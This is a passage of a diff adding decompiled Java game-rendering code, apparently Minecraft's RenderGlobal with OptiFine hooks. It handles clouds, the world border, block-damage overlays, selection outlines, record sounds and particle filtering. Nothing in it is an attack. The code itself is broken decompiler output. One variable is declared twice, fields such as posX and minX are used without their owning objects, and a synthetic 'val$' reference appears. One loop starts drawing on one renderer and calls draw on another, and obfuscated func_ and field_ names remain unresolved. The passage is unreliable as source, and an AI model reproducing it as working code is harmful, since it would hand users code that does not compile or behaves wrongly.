+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    Vec3 var17 = theWorld.getCloudColour(p_180445_1_);
+    float var18 = (float)xCoord;
+    float var19 = (float)yCoord;
+    float var20 = (float)zCoord;
+    
+
+
+
+    if (p_180445_2_ != 2)
+    {
+      float var21 = (var18 * 30.0F + var19 * 59.0F + var20 * 11.0F) / 100.0F;
+      float var22 = (var18 * 30.0F + var19 * 70.0F) / 100.0F;
+      float var23 = (var18 * 30.0F + var20 * 70.0F) / 100.0F;
+      var18 = var21;
+      var19 = var22;
+      var20 = var23;
+    }
+    
+    float var21 = 0.00390625F;
+    float var22 = MathHelper.floor_double(var10) * 0.00390625F;
+    float var23 = MathHelper.floor_double(var12) * 0.00390625F;
+    float var24 = (float)(var10 - MathHelper.floor_double(var10));
+    float var25 = (float)(var12 - MathHelper.floor_double(var12));
+    boolean var26 = true;
+    boolean var27 = true;
+    float var28 = 9.765625E-4F;
+    GlStateManager.scale(12.0F, 1.0F, 12.0F);
+    
+
+    for (int var30 = 0; var30 < 2; var30++)
+    {
+      if (var30 == 0)
+      {
+        GlStateManager.colorMask(false, false, false, false);
+      }
+      else
+      {
+        switch (p_180445_2_)
+        {
+        case 0: 
+          GlStateManager.colorMask(false, true, true, true);
+          break;
+        
+        case 1: 
+          GlStateManager.colorMask(true, false, false, true);
+          break;
+        
+        case 2: 
+          GlStateManager.colorMask(true, true, true, true);
+        }
+        
+      }
+      cloudRenderer.renderGlList();
+    }
+    
+    if (cloudRenderer.shouldUpdateGlList())
+    {
+      cloudRenderer.startUpdateGlList();
+      
+      for (var30 = -3; var30 <= 4; var30++)
+      {
+        for (int var31 = -3; var31 <= 4; var31++)
+        {
+          var5.startDrawingQuads();
+          float var32 = var30 * 8;
+          float var33 = var31 * 8;
+          float var34 = var32 - var24;
+          float var35 = var33 - var25;
+          
+          if (var14 > -5.0F)
+          {
+            var5.func_178960_a(var18 * 0.7F, var19 * 0.7F, var20 * 0.7F, 0.8F);
+            var5.func_178980_d(0.0F, -1.0F, 0.0F);
+            var5.addVertexWithUV(var34 + 0.0F, var14 + 0.0F, var35 + 8.0F, (var32 + 0.0F) * 0.00390625F + var22, (var33 + 8.0F) * 0.00390625F + var23);
+            var5.addVertexWithUV(var34 + 8.0F, var14 + 0.0F, var35 + 8.0F, (var32 + 8.0F) * 0.00390625F + var22, (var33 + 8.0F) * 0.00390625F + var23);
+            var5.addVertexWithUV(var34 + 8.0F, var14 + 0.0F, var35 + 0.0F, (var32 + 8.0F) * 0.00390625F + var22, (var33 + 0.0F) * 0.00390625F + var23);
+            var5.addVertexWithUV(var34 + 0.0F, var14 + 0.0F, var35 + 0.0F, (var32 + 0.0F) * 0.00390625F + var22, (var33 + 0.0F) * 0.00390625F + var23);
+          }
+          
+          if (var14 <= 5.0F)
+          {
+            var5.func_178960_a(var18, var19, var20, 0.8F);
+            var5.func_178980_d(0.0F, 1.0F, 0.0F);
+            var5.addVertexWithUV(var34 + 0.0F, var14 + 4.0F - 9.765625E-4F, var35 + 8.0F, (var32 + 0.0F) * 0.00390625F + var22, (var33 + 8.0F) * 0.00390625F + var23);
+            var5.addVertexWithUV(var34 + 8.0F, var14 + 4.0F - 9.765625E-4F, var35 + 8.0F, (var32 + 8.0F) * 0.00390625F + var22, (var33 + 8.0F) * 0.00390625F + var23);
+            var5.addVertexWithUV(var34 + 8.0F, var14 + 4.0F - 9.765625E-4F, var35 + 0.0F, (var32 + 8.0F) * 0.00390625F + var22, (var33 + 0.0F) * 0.00390625F + var23);
+            var5.addVertexWithUV(var34 + 0.0F, var14 + 4.0F - 9.765625E-4F, var35 + 0.0F, (var32 + 0.0F) * 0.00390625F + var22, (var33 + 0.0F) * 0.00390625F + var23);
+          }
+          
+          var5.func_178960_a(var18 * 0.9F, var19 * 0.9F, var20 * 0.9F, 0.8F);
+          
+
+          if (var30 > -1)
+          {
+            var5.func_178980_d(-1.0F, 0.0F, 0.0F);
+            
+            for (int var36 = 0; var36 < 8; var36++)
+            {
+              var5.addVertexWithUV(var34 + var36 + 0.0F, var14 + 0.0F, var35 + 8.0F, (var32 + var36 + 0.5F) * 0.00390625F + var22, (var33 + 8.0F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + var36 + 0.0F, var14 + 4.0F, var35 + 8.0F, (var32 + var36 + 0.5F) * 0.00390625F + var22, (var33 + 8.0F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + var36 + 0.0F, var14 + 4.0F, var35 + 0.0F, (var32 + var36 + 0.5F) * 0.00390625F + var22, (var33 + 0.0F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + var36 + 0.0F, var14 + 0.0F, var35 + 0.0F, (var32 + var36 + 0.5F) * 0.00390625F + var22, (var33 + 0.0F) * 0.00390625F + var23);
+            }
+          }
+          
+          if (var30 <= 1)
+          {
+            var5.func_178980_d(1.0F, 0.0F, 0.0F);
+            
+            for (int var36 = 0; var36 < 8; var36++)
+            {
+              var5.addVertexWithUV(var34 + var36 + 1.0F - 9.765625E-4F, var14 + 0.0F, var35 + 8.0F, (var32 + var36 + 0.5F) * 0.00390625F + var22, (var33 + 8.0F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + var36 + 1.0F - 9.765625E-4F, var14 + 4.0F, var35 + 8.0F, (var32 + var36 + 0.5F) * 0.00390625F + var22, (var33 + 8.0F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + var36 + 1.0F - 9.765625E-4F, var14 + 4.0F, var35 + 0.0F, (var32 + var36 + 0.5F) * 0.00390625F + var22, (var33 + 0.0F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + var36 + 1.0F - 9.765625E-4F, var14 + 0.0F, var35 + 0.0F, (var32 + var36 + 0.5F) * 0.00390625F + var22, (var33 + 0.0F) * 0.00390625F + var23);
+            }
+          }
+          
+          var5.func_178960_a(var18 * 0.8F, var19 * 0.8F, var20 * 0.8F, 0.8F);
+          
+          if (var31 > -1)
+          {
+            var5.func_178980_d(0.0F, 0.0F, -1.0F);
+            
+            for (int var36 = 0; var36 < 8; var36++)
+            {
+              var5.addVertexWithUV(var34 + 0.0F, var14 + 4.0F, var35 + var36 + 0.0F, (var32 + 0.0F) * 0.00390625F + var22, (var33 + var36 + 0.5F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + 8.0F, var14 + 4.0F, var35 + var36 + 0.0F, (var32 + 8.0F) * 0.00390625F + var22, (var33 + var36 + 0.5F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + 8.0F, var14 + 0.0F, var35 + var36 + 0.0F, (var32 + 8.0F) * 0.00390625F + var22, (var33 + var36 + 0.5F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + 0.0F, var14 + 0.0F, var35 + var36 + 0.0F, (var32 + 0.0F) * 0.00390625F + var22, (var33 + var36 + 0.5F) * 0.00390625F + var23);
+            }
+          }
+          
+          if (var31 <= 1)
+          {
+            var5.func_178980_d(0.0F, 0.0F, 1.0F);
+            
+            for (int var36 = 0; var36 < 8; var36++)
+            {
+              var5.addVertexWithUV(var34 + 0.0F, var14 + 4.0F, var35 + var36 + 1.0F - 9.765625E-4F, (var32 + 0.0F) * 0.00390625F + var22, (var33 + var36 + 0.5F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + 8.0F, var14 + 4.0F, var35 + var36 + 1.0F - 9.765625E-4F, (var32 + 8.0F) * 0.00390625F + var22, (var33 + var36 + 0.5F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + 8.0F, var14 + 0.0F, var35 + var36 + 1.0F - 9.765625E-4F, (var32 + 8.0F) * 0.00390625F + var22, (var33 + var36 + 0.5F) * 0.00390625F + var23);
+              var5.addVertexWithUV(var34 + 0.0F, var14 + 0.0F, var35 + var36 + 1.0F - 9.765625E-4F, (var32 + 0.0F) * 0.00390625F + var22, (var33 + var36 + 0.5F) * 0.00390625F + var23);
+            }
+          }
+          
+          var4.draw();
+        }
+      }
+      
+      cloudRenderer.endUpdateGlList();
+    }
+    
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.disableBlend();
+    GlStateManager.enableCull();
+  }
+  
+  public void func_174967_a(long p_174967_1_)
+  {
+    displayListEntitiesDirty |= field_174995_M.func_178516_a(p_174967_1_);
+    
+
+
+    if (chunksToUpdateForced.size() > 0)
+    {
+      Iterator countUpdated = chunksToUpdateForced.iterator();
+      
+      while (countUpdated.hasNext())
+      {
+        RenderChunk updatesPerFrame = (RenderChunk)countUpdated.next();
+        
+        if (!field_174995_M.func_178507_a(updatesPerFrame)) {
+          break;
+        }
+        
+
+        updatesPerFrame.func_178575_a(false);
+        countUpdated.remove();
+        field_175009_l.remove(updatesPerFrame);
+        chunksToResortTransparency.remove(updatesPerFrame);
+      }
+    }
+    
+    if (chunksToResortTransparency.size() > 0)
+    {
+      Iterator countUpdated = chunksToResortTransparency.iterator();
+      
+      if (countUpdated.hasNext())
+      {
+        RenderChunk updatesPerFrame = (RenderChunk)countUpdated.next();
+        
+        if (field_174995_M.func_178509_c(updatesPerFrame))
+        {
+          countUpdated.remove();
+        }
+      }
+    }
+    
+    int var8 = 0;
+    int var9 = Config.getUpdatesPerFrame();
+    int maxUpdatesPerFrame = var9 * 2;
+    Iterator var3 = field_175009_l.iterator();
+    
+    while (var3.hasNext())
+    {
+      RenderChunk var4 = (RenderChunk)var3.next();
+      
+      if (!field_174995_M.func_178507_a(var4)) {
+        break;
+      }
+      
+
+      var4.func_178575_a(false);
+      var3.remove();
+      
+      if ((var4.func_178571_g().func_178489_a()) && (var9 < maxUpdatesPerFrame))
+      {
+        var9++;
+      }
+      
+      var8++;
+      
+      if (var8 >= var9) {
+        break;
+      }
+    }
+  }
+  
+
+  public void func_180449_a(Entity p_180449_1_, float p_180449_2_)
+  {
+    Tessellator var3 = Tessellator.getInstance();
+    WorldRenderer var4 = var3.getWorldRenderer();
+    WorldBorder var5 = theWorld.getWorldBorder();
+    double var6 = mc.gameSettings.renderDistanceChunks * 16;
+    
+    if ((posX >= var5.maxX() - var6) || (posX <= var5.minX() + var6) || (posZ >= var5.maxZ() - var6) || (posZ <= var5.minZ() + var6))
+    {
+      double var8 = 1.0D - var5.getClosestDistance(p_180449_1_) / var6;
+      var8 = Math.pow(var8, 4.0D);
+      double var10 = lastTickPosX + (posX - lastTickPosX) * p_180449_2_;
+      double var12 = lastTickPosY + (posY - lastTickPosY) * p_180449_2_;
+      double var14 = lastTickPosZ + (posZ - lastTickPosZ) * p_180449_2_;
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 1, 1, 0);
+      renderEngine.bindTexture(field_175006_g);
+      GlStateManager.depthMask(false);
+      GlStateManager.pushMatrix();
+      int var16 = var5.getStatus().func_177766_a();
+      float var17 = (var16 >> 16 & 0xFF) / 255.0F;
+      float var18 = (var16 >> 8 & 0xFF) / 255.0F;
+      float var19 = (var16 & 0xFF) / 255.0F;
+      GlStateManager.color(var17, var18, var19, (float)var8);
+      GlStateManager.doPolygonOffset(-3.0F, -3.0F);
+      GlStateManager.enablePolygonOffset();
+      GlStateManager.alphaFunc(516, 0.1F);
+      GlStateManager.enableAlpha();
+      GlStateManager.disableCull();
+      float var20 = (float)(Minecraft.getSystemTime() % 3000L) / 3000.0F;
+      float var21 = 0.0F;
+      float var22 = 0.0F;
+      float var23 = 128.0F;
+      var4.startDrawingQuads();
+      var4.setTranslation(-var10, -var12, -var14);
+      var4.markDirty();
+      double var24 = Math.max(MathHelper.floor_double(var14 - var6), var5.minZ());
+      double var26 = Math.min(MathHelper.ceiling_double_int(var14 + var6), var5.maxZ());
+      
+
+
+
+
+      if (var10 > var5.maxX() - var6)
+      {
+        float var28 = 0.0F;
+        
+        for (double var29 = var24; var29 < var26; var28 += 0.5F)
+        {
+          double var31 = Math.min(1.0D, var26 - var29);
+          float var33 = (float)var31 * 0.5F;
+          var4.addVertexWithUV(var5.maxX(), 256.0D, var29, var20 + var28, var20 + 0.0F);
+          var4.addVertexWithUV(var5.maxX(), 256.0D, var29 + var31, var20 + var33 + var28, var20 + 0.0F);
+          var4.addVertexWithUV(var5.maxX(), 0.0D, var29 + var31, var20 + var33 + var28, var20 + 128.0F);
+          var4.addVertexWithUV(var5.maxX(), 0.0D, var29, var20 + var28, var20 + 128.0F);
+          var29 += 1.0D;
+        }
+      }
+      
+      if (var10 < var5.minX() + var6)
+      {
+        float var28 = 0.0F;
+        
+        for (double var29 = var24; var29 < var26; var28 += 0.5F)
+        {
+          double var31 = Math.min(1.0D, var26 - var29);
+          float var33 = (float)var31 * 0.5F;
+          var4.addVertexWithUV(var5.minX(), 256.0D, var29, var20 + var28, var20 + 0.0F);
+          var4.addVertexWithUV(var5.minX(), 256.0D, var29 + var31, var20 + var33 + var28, var20 + 0.0F);
+          var4.addVertexWithUV(var5.minX(), 0.0D, var29 + var31, var20 + var33 + var28, var20 + 128.0F);
+          var4.addVertexWithUV(var5.minX(), 0.0D, var29, var20 + var28, var20 + 128.0F);
+          var29 += 1.0D;
+        }
+      }
+      
+      var24 = Math.max(MathHelper.floor_double(var10 - var6), var5.minX());
+      var26 = Math.min(MathHelper.ceiling_double_int(var10 + var6), var5.maxX());
+      
+      if (var14 > var5.maxZ() - var6)
+      {
+        float var28 = 0.0F;
+        
+        for (double var29 = var24; var29 < var26; var28 += 0.5F)
+        {
+          double var31 = Math.min(1.0D, var26 - var29);
+          float var33 = (float)var31 * 0.5F;
+          var4.addVertexWithUV(var29, 256.0D, var5.maxZ(), var20 + var28, var20 + 0.0F);
+          var4.addVertexWithUV(var29 + var31, 256.0D, var5.maxZ(), var20 + var33 + var28, var20 + 0.0F);
+          var4.addVertexWithUV(var29 + var31, 0.0D, var5.maxZ(), var20 + var33 + var28, var20 + 128.0F);
+          var4.addVertexWithUV(var29, 0.0D, var5.maxZ(), var20 + var28, var20 + 128.0F);
+          var29 += 1.0D;
+        }
+      }
+      
+      if (var14 < var5.minZ() + var6)
+      {
+        float var28 = 0.0F;
+        
+        for (double var29 = var24; var29 < var26; var28 += 0.5F)
+        {
+          double var31 = Math.min(1.0D, var26 - var29);
+          float var33 = (float)var31 * 0.5F;
+          var4.addVertexWithUV(var29, 256.0D, var5.minZ(), var20 + var28, var20 + 0.0F);
+          var4.addVertexWithUV(var29 + var31, 256.0D, var5.minZ(), var20 + var33 + var28, var20 + 0.0F);
+          var4.addVertexWithUV(var29 + var31, 0.0D, var5.minZ(), var20 + var33 + var28, var20 + 128.0F);
+          var4.addVertexWithUV(var29, 0.0D, var5.minZ(), var20 + var28, var20 + 128.0F);
+          var29 += 1.0D;
+        }
+      }
+      
+      var3.draw();
+      var4.setTranslation(0.0D, 0.0D, 0.0D);
+      GlStateManager.enableCull();
+      GlStateManager.disableAlpha();
+      GlStateManager.doPolygonOffset(0.0F, 0.0F);
+      GlStateManager.disablePolygonOffset();
+      GlStateManager.enableAlpha();
+      GlStateManager.disableBlend();
+      GlStateManager.popMatrix();
+      GlStateManager.depthMask(true);
+    }
+  }
+  
+  private void func_180443_s()
+  {
+    GlStateManager.tryBlendFuncSeparate(774, 768, 1, 0);
+    GlStateManager.enableBlend();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 0.5F);
+    GlStateManager.doPolygonOffset(-3.0F, -3.0F);
+    GlStateManager.enablePolygonOffset();
+    GlStateManager.alphaFunc(516, 0.1F);
+    GlStateManager.enableAlpha();
+    GlStateManager.pushMatrix();
+    
+    if (Config.isShaders())
+    {
+      ShadersRender.beginBlockDamage();
+    }
+  }
+  
+  private void func_174969_t()
+  {
+    GlStateManager.disableAlpha();
+    GlStateManager.doPolygonOffset(0.0F, 0.0F);
+    GlStateManager.disablePolygonOffset();
+    GlStateManager.enableAlpha();
+    GlStateManager.depthMask(true);
+    GlStateManager.popMatrix();
+    
+    if (Config.isShaders())
+    {
+      ShadersRender.endBlockDamage();
+    }
+  }
+  
+  public void func_174981_a(Tessellator p_174981_1_, WorldRenderer p_174981_2_, Entity p_174981_3_, float p_174981_4_)
+  {
+    double var5 = lastTickPosX + (posX - lastTickPosX) * p_174981_4_;
+    double var7 = lastTickPosY + (posY - lastTickPosY) * p_174981_4_;
+    double var9 = lastTickPosZ + (posZ - lastTickPosZ) * p_174981_4_;
+    
+    if (!damagedBlocks.isEmpty())
+    {
+      renderEngine.bindTexture(TextureMap.locationBlocksTexture);
+      func_180443_s();
+      p_174981_2_.startDrawingQuads();
+      p_174981_2_.setVertexFormat(DefaultVertexFormats.field_176600_a);
+      p_174981_2_.setTranslation(-var5, -var7, -var9);
+      p_174981_2_.markDirty();
+      Iterator var11 = damagedBlocks.values().iterator();
+      
+      while (var11.hasNext())
+      {
+        DestroyBlockProgress var12 = (DestroyBlockProgress)var11.next();
+        BlockPos var13 = var12.func_180246_b();
+        double var14 = var13.getX() - var5;
+        double var16 = var13.getY() - var7;
+        double var18 = var13.getZ() - var9;
+        Block var20 = theWorld.getBlockState(var13).getBlock();
+        boolean renderBreaking;
+        boolean renderBreaking;
+        if (Reflector.ForgeTileEntity_canRenderBreaking.exists())
+        {
+          boolean var22 = ((var20 instanceof BlockChest)) || ((var20 instanceof BlockEnderChest)) || ((var20 instanceof BlockSign)) || ((var20 instanceof BlockSkull));
+          
+          if (!var22)
+          {
+            TileEntity var23 = theWorld.getTileEntity(var13);
+            
+            if (var23 != null)
+            {
+              var22 = Reflector.callBoolean(var23, Reflector.ForgeTileEntity_canRenderBreaking, new Object[0]);
+            }
+          }
+          
+          renderBreaking = !var22;
+        }
+        else
+        {
+          renderBreaking = (!(var20 instanceof BlockChest)) && (!(var20 instanceof BlockEnderChest)) && (!(var20 instanceof BlockSign)) && (!(var20 instanceof BlockSkull));
+        }
+        
+        if (renderBreaking)
+        {
+          if (var14 * var14 + var16 * var16 + var18 * var18 > 1024.0D)
+          {
+            var11.remove();
+          }
+          else
+          {
+            IBlockState var21 = theWorld.getBlockState(var13);
+            
+            if (var21.getBlock().getMaterial() != Material.air)
+            {
+              int var221 = var12.getPartialBlockDamage();
+              TextureAtlasSprite var231 = destroyBlockIcons[var221];
+              BlockRendererDispatcher var24 = mc.getBlockRendererDispatcher();
+              var24.func_175020_a(var21, var13, var231, theWorld);
+            }
+          }
+        }
+      }
+      
+      p_174981_1_.draw();
+      p_174981_2_.setTranslation(0.0D, 0.0D, 0.0D);
+      func_174969_t();
+    }
+  }
+  
+
+
+
+  public void drawSelectionBox(EntityPlayer p_72731_1_, MovingObjectPosition p_72731_2_, int p_72731_3_, float p_72731_4_)
+  {
+    if ((p_72731_3_ == 0) && (typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK))
+    {
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      GlStateManager.color(0.0F, 0.0F, 0.0F, 0.4F);
+      GL11.glLineWidth(2.0F);
+      GlStateManager.func_179090_x();
+      
+      if (Config.isShaders())
+      {
+        Shaders.disableTexture2D();
+      }
+      
+      GlStateManager.depthMask(false);
+      float var5 = 0.002F;
+      BlockPos var6 = p_72731_2_.func_178782_a();
+      Block var7 = theWorld.getBlockState(var6).getBlock();
+      
+      if ((var7.getMaterial() != Material.air) && (theWorld.getWorldBorder().contains(var6)))
+      {
+        var7.setBlockBoundsBasedOnState(theWorld, var6);
+        double var8 = lastTickPosX + (posX - lastTickPosX) * p_72731_4_;
+        double var10 = lastTickPosY + (posY - lastTickPosY) * p_72731_4_;
+        double var12 = lastTickPosZ + (posZ - lastTickPosZ) * p_72731_4_;
+        drawOutlinedBoundingBox(var7.getSelectedBoundingBox(theWorld, var6).expand(0.0020000000949949026D, 0.0020000000949949026D, 0.0020000000949949026D).offset(-var8, -var10, -var12), -1);
+      }
+      
+      GlStateManager.depthMask(true);
+      GlStateManager.func_179098_w();
+      
+      if (Config.isShaders())
+      {
+        Shaders.enableTexture2D();
+      }
+      
+      GlStateManager.disableBlend();
+    }
+  }
+  
+
+
+
+  public static void drawOutlinedBoundingBox(AxisAlignedBB p_147590_0_, int p_147590_1_)
+  {
+    Tessellator var2 = Tessellator.getInstance();
+    WorldRenderer var3 = var2.getWorldRenderer();
+    var3.startDrawing(3);
+    
+    if (p_147590_1_ != -1)
+    {
+      var3.func_178991_c(p_147590_1_);
+    }
+    
+    var3.addVertex(minX, minY, minZ);
+    var3.addVertex(maxX, minY, minZ);
+    var3.addVertex(maxX, minY, maxZ);
+    var3.addVertex(minX, minY, maxZ);
+    var3.addVertex(minX, minY, minZ);
+    var2.draw();
+    var3.startDrawing(3);
+    
+    if (p_147590_1_ != -1)
+    {
+      var3.func_178991_c(p_147590_1_);
+    }
+    
+    var3.addVertex(minX, maxY, minZ);
+    var3.addVertex(maxX, maxY, minZ);
+    var3.addVertex(maxX, maxY, maxZ);
+    var3.addVertex(minX, maxY, maxZ);
+    var3.addVertex(minX, maxY, minZ);
+    var2.draw();
+    var3.startDrawing(1);
+    
+    if (p_147590_1_ != -1)
+    {
+      var3.func_178991_c(p_147590_1_);
+    }
+    
+    var3.addVertex(minX, minY, minZ);
+    var3.addVertex(minX, maxY, minZ);
+    var3.addVertex(maxX, minY, minZ);
+    var3.addVertex(maxX, maxY, minZ);
+    var3.addVertex(maxX, minY, maxZ);
+    var3.addVertex(maxX, maxY, maxZ);
+    var3.addVertex(minX, minY, maxZ);
+    var3.addVertex(minX, maxY, maxZ);
+    var2.draw();
+  }
+  
+
+
+
+  private void markBlocksForUpdate(int p_72725_1_, int p_72725_2_, int p_72725_3_, int p_72725_4_, int p_72725_5_, int p_72725_6_)
+  {
+    field_175008_n.func_178162_a(p_72725_1_, p_72725_2_, p_72725_3_, p_72725_4_, p_72725_5_, p_72725_6_);
+  }
+  
+  public void markBlockForUpdate(BlockPos pos)
+  {
+    int var2 = pos.getX();
+    int var3 = pos.getY();
+    int var4 = pos.getZ();
+    markBlocksForUpdate(var2 - 1, var3 - 1, var4 - 1, var2 + 1, var3 + 1, var4 + 1);
+  }
+  
+  public void notifyLightSet(BlockPos pos)
+  {
+    int var2 = pos.getX();
+    int var3 = pos.getY();
+    int var4 = pos.getZ();
+    markBlocksForUpdate(var2 - 1, var3 - 1, var4 - 1, var2 + 1, var3 + 1, var4 + 1);
+  }
+  
+
+
+
+
+  public void markBlockRangeForRenderUpdate(int x1, int y1, int z1, int x2, int y2, int z2)
+  {
+    markBlocksForUpdate(x1 - 1, y1 - 1, z1 - 1, x2 + 1, y2 + 1, z2 + 1);
+  }
+  
+  public void func_174961_a(String p_174961_1_, BlockPos p_174961_2_)
+  {
+    ISound var3 = (ISound)mapSoundPositions.get(p_174961_2_);
+    
+    if (var3 != null)
+    {
+      mc.getSoundHandler().stopSound(var3);
+      mapSoundPositions.remove(p_174961_2_);
+    }
+    
+    if (p_174961_1_ != null)
+    {
+      ItemRecord var4 = ItemRecord.getRecord(p_174961_1_);
+      
+      if (var4 != null)
+      {
+        mc.ingameGUI.setRecordPlayingMessage(var4.getRecordNameLocal());
+      }
+      
+      ResourceLocation resource = null;
+      
+      if ((Reflector.ForgeItemRecord_getRecordResource.exists()) && (var4 != null))
+      {
+        resource = (ResourceLocation)Reflector.call(var4, Reflector.ForgeItemRecord_getRecordResource, new Object[] { p_174961_1_ });
+      }
+      
+      if (resource == null)
+      {
+        resource = new ResourceLocation(p_174961_1_);
+      }
+      
+      PositionedSoundRecord var5 = PositionedSoundRecord.createRecordSoundAtPosition(resource, p_174961_2_.getX(), p_174961_2_.getY(), p_174961_2_.getZ());
+      mapSoundPositions.put(p_174961_2_, var5);
+      mc.getSoundHandler().playSound(var5);
+    }
+  }
+  
+
+
+  public void playSound(String soundName, double x, double y, double z, float volume, float pitch) {}
+  
+
+
+  public void playSoundToNearExcept(EntityPlayer except, String soundName, double x, double y, double z, float volume, float pitch) {}
+  
+
+
+  public void func_180442_a(int p_180442_1_, boolean p_180442_2_, final double p_180442_3_, double p_180442_5_, final double p_180442_7_, double p_180442_9_, double p_180442_11_, double p_180442_13_, int... p_180442_15_)
+  {
+    try
+    {
+      func_174974_b(p_180442_1_, p_180442_2_, p_180442_3_, p_180442_5_, p_180442_7_, p_180442_9_, p_180442_11_, p_180442_13_, p_180442_15_);
+    }
+    catch (Throwable var19)
+    {
+      CrashReport var17 = CrashReport.makeCrashReport(var19, "Exception while adding particle");
+      CrashReportCategory var18 = var17.makeCategory("Particle being added");
+      var18.addCrashSection("ID", Integer.valueOf(p_180442_1_));
+      
+      if (p_180442_15_ != null)
+      {
+        var18.addCrashSection("Parameters", p_180442_15_);
+      }
+      
+      var18.addCrashSectionCallable("Position", new Callable()
+      {
+        public String call()
+        {
+          return CrashReportCategory.getCoordinateInfo(p_180442_3_, p_180442_7_, val$p_180442_7_);
+        }
+      });
+      throw new net.minecraft.util.ReportedException(var17);
+    }
+  }
+  
+  private void func_174972_a(EnumParticleTypes p_174972_1_, double p_174972_2_, double p_174972_4_, double p_174972_6_, double p_174972_8_, double p_174972_10_, double p_174972_12_, int... p_174972_14_)
+  {
+    func_180442_a(p_174972_1_.func_179348_c(), p_174972_1_.func_179344_e(), p_174972_2_, p_174972_4_, p_174972_6_, p_174972_8_, p_174972_10_, p_174972_12_, p_174972_14_);
+  }
+  
+  private EntityFX func_174974_b(int p_174974_1_, boolean p_174974_2_, double p_174974_3_, double p_174974_5_, double p_174974_7_, double p_174974_9_, double p_174974_11_, double p_174974_13_, int... p_174974_15_)
+  {
+    if ((mc != null) && (mc.func_175606_aa() != null) && (mc.effectRenderer != null))
+    {
+      int var16 = mc.gameSettings.particleSetting;
+      
+      if ((var16 == 1) && (theWorld.rand.nextInt(3) == 0))
+      {
+        var16 = 2;
+      }
+      
+      double var17 = mc.func_175606_aa().posX - p_174974_3_;
+      double var19 = mc.func_175606_aa().posY - p_174974_5_;
+      double var21 = mc.func_175606_aa().posZ - p_174974_7_;
+      
+      if ((p_174974_1_ == EnumParticleTypes.EXPLOSION_HUGE.func_179348_c()) && (!Config.isAnimatedExplosion()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.EXPLOSION_LARGE.func_179348_c()) && (!Config.isAnimatedExplosion()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.EXPLOSION_NORMAL.func_179348_c()) && (!Config.isAnimatedExplosion()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.SUSPENDED.func_179348_c()) && (!Config.isWaterParticles()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.SUSPENDED_DEPTH.func_179348_c()) && (!Config.isVoidParticles()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.SMOKE_NORMAL.func_179348_c()) && (!Config.isAnimatedSmoke()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.SMOKE_LARGE.func_179348_c()) && (!Config.isAnimatedSmoke()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.SPELL_MOB.func_179348_c()) && (!Config.isPotionParticles()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.SPELL_MOB_AMBIENT.func_179348_c()) && (!Config.isPotionParticles()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.SPELL.func_179348_c()) && (!Config.isPotionParticles()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.SPELL_INSTANT.func_179348_c()) && (!Config.isPotionParticles()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.SPELL_WITCH.func_179348_c()) && (!Config.isPotionParticles()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.PORTAL.func_179348_c()) && (!Config.isAnimatedPortal()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.FLAME.func_179348_c()) && (!Config.isAnimatedFlame()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.REDSTONE.func_179348_c()) && (!Config.isAnimatedRedstone()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.DRIP_WATER.func_179348_c()) && (!Config.isDrippingWaterLava()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.DRIP_LAVA.func_179348_c()) && (!Config.isDrippingWaterLava()))
+      {
+        return null;
+      }
+      if ((p_174974_1_ == EnumParticleTypes.FIREWORKS_SPARK.func_179348_c()) && (!Config.isFireworkParticles()))
+      {
+        return null;
+      }
+      if (p_174974_2_)
+      {
+        return mc.effectRenderer.func_178927_a(p_174974_1_, p_174974_3_, p_174974_5_, p_174974_7_, p_174974_9_, p_174974_11_, p_174974_13_, p_174974_15_);
+      }
+      
+
+      double var23 = 16.0D;
+      double maxDistSq = 256.0D;
+      
+      if (p_174974_1_ == EnumParticleTypes.CRIT.func_179348_c())
+      {
+        maxDistSq = 38416.0D;
+      }
+      
+      if (var17 * var17 + var19 * var19 + var21 * var21 > maxDistSq)
+      {
+        return null;
+      }
+      if (var16 > 1)
+      {
+        return null;
+      }
+      
+
+      EntityFX entityFx = mc.effectRenderer.func_178927_a(p_174974_1_, p_174974_3_, p_174974_5_, p_174974_7_, p_174974_9_, p_174974_11_, p_174974_13_, p_174974_15_);
+      
+      if (p_174974_1_ == EnumParticleTypes.WATER_BUBBLE.func_179348_c())
+      {
+        CustomColors.updateWaterFX(entityFx, theWorld, p_174974_3_, p_174974_5_, p_174974_7_);
+      }
+      
+      if (p_174974_1_ == EnumParticleTypes.WATER_SPLASH.func_179348_c())
+      {
+        CustomColors.updateWaterFX(entityFx, theWorld, p_174974_3_, p_174974_5_, p_174974_7_);
+      }
+      
